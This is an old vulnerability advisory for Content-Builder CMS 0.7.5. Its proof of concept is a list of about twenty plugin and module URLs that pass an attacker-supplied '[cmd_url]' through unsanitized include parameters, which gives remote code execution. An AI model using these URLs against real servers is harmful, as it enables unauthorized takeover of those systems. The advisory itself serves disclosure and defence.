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Advisory id: FSA:012
Author: Federico Fazzi
Date: 11/06/2006, 22:30
Sinthesis: Content-Builder (CMS) 0.7.5, Remote command execution
Type: high
Product: http://www.content-builder.de/
Patch: unavailable
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1) Description:
vulnerables page:
Multiple vulnerabilities, see poc.
2) Proof of concept:
http://example/[cb_path]/cms/plugins/col_man/column.inc.php?lang_path=[cmd_url]/
http://example/[cb_path]/cms/plugins/poll/poll.inc.php?lang_path=[cmd_url]/
http://example/[cb_path]/cms/plugins/user_managment/usrPortrait.inc.php?lang_path=[cmd_url]/
http://example/[cb_path]/cms/plugins/user_managment/user.inc.php?lang_path=[cmd_url]/
http://example/[cb_path]/cms/plugins/media_manager/media.inc.php?lang_path=[cmd_url]/
http://example/[cb_path]/cms/plugins/events/permanent.eventMonth.inc.php?lang_path=[cmd_url]/
http://example/[cb_path]/cms/plugins/events/events.inc.php?lang_path=[cmd_url]/
http://example/[cb_path]/cms/plugins/newsletter2/newsletter.inc.php?lang_path=[cmd_url]/
http://example/[cb_path]/modules/guestbook/guestbook.inc.php?path[cb]=[cmd_url]/
http://example/[cb_path]/modules/shoutbox/shoutBox.php?path[cb]=[cmd_url]/
http://example/[cb_path]/modules/download/overview.inc.php?rel=[cmd_url]/
http://example/[cb_path]/modules/download/detailView.inc.php?rel=[cmd_url]/
http://example/[cb_path]/modules/sitemap/sitemap.inc.php?path[cb]=[cmd_url]/
http://example/[cb_path]/modules/article/fullarticle.inc.php?rel=[cmd_url]/
http://example/[cb_path]/modules/article/comments.inc.php?rel=[cmd_url]/
http://example/[cb_path]/modules/article2/overview.inc.php?rel=[cmd_url]/
http://example/[cb_path]/modules/article2/fullarticle.inc.php?rel=[cmd_url]/
http://example/[cb_path]/modules/article2/comments.inc.php?rel=[cmd_url]/
http://example/[cb_path]/modules/headline/headlineBox.php?rel=[cmd_url]/
http://example/[cb_path]/modules/headline/showHeadline.inc.php?rel=[cmd_url]/
(note: add a cmd url with final slash (/))
3) Solution:
sanitized all variables on all files.